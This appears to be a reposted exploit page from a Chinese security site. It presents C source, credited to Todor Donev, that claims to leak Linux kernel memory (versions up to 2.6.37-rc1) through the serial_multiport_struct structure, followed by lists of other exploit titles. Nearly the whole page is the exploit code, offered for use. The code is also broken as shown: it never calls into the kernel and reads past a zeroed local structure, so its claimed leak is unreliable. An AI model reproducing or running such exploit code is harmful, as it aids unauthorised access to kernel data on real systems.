首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux kernel version 2.6.37-rc1 and below serial_multiport_struct local leak exp
来源:todor.donev@gmail.com 作者:Donev 发布时间:2011-11-02  

/* Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak Exploit
 *
 *  ./splitmilk2 leak 134514859
 * [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Local  Leak Exploit
 * [\m/] by Todor Donev
 *  [x] Leakfile    : leak
 *  [x] Reservedsize    : 134514859
 * [+] Leaking.. =)
 * ...
 *
 *
 * Greets to prdelka,
 * for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT
leak exploit
 *
 * Thanks to Tsvetelina Emirska,
 * that support, respect and inspire me..
 *
 * Yes,    I know thats lame, but I was so bored and lazy for better.
 *
 * Author: Todor Donev
 * Author email: [todor.donev@gmail]
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <termios.h>
#include <linux/serial.h>

#define DEVICE "/dev/ttyS1"

int main(int argc, char* argv[]) {
    int ret = 0;
    int i, fd, reservedsize;
    char* buf;
    struct  serial_multiport_struct  buffer;
    printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak
Exploit\n");
    printf("[\\m/] by Todor Donev\n");
    fd = open(DEVICE, O_RDONLY);
    if (fd <0) {
    printf("[-] Error: f0k\n");
    exit(-1);
}
    if (argc < 2) {
        fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]);
        exit(-1);
    }
    if (argc > 2)
        if ((reservedsize = atoi(argv[2])) == 0) {
            fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n");
            exit(-1);
        }
    fprintf(stderr, "  [x] Leakfile: %s\n", argv[1]);
    fprintf(stderr, "  [x] Reservedsize: %u\n", reservedsize);
     if ((buf = (char *)malloc(reservedsize)) == NULL) {
        perror("Sorry: (malloc)");
        fprintf(stderr, " [-] Sorry: Try again with other output size\n");
        exit(1);
    }
    memset(&buffer,0,sizeof(
buffer));
    printf("[+] Leaking.. =)\n");
    if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){
    printf("[-] Error: f0k =(\n");
    exit(-1);
    }
    for(i=0;i<=reservedsize;i++){
        ret += write(fd,&buffer.reserved[i],sizeof(int));
    }
    close(fd);
    printf("\\o/ %d bytez\n",ret);
    exit(0);
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mozilla Firefox 7.0.1 Nightly
·Oracle Hyperion Financial Mana
·Calibre E-Book Reader Local Ro
·Linux 2.6.18 - 2011 vmsplice L
·YaTFTPSvr TFTP Server Director
·NJStar Communicator 3.00 MiniS
·phpMyAdmin Arbitrary File Read
·LifeSize Room Command Injectio
·Linux Kernel 2.6.13 Local root
·Oracle DataDirect ODBC Drivers
·Calibre E-Book Reader Local Ro
·Calibre E-Book Reader Local Ro
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved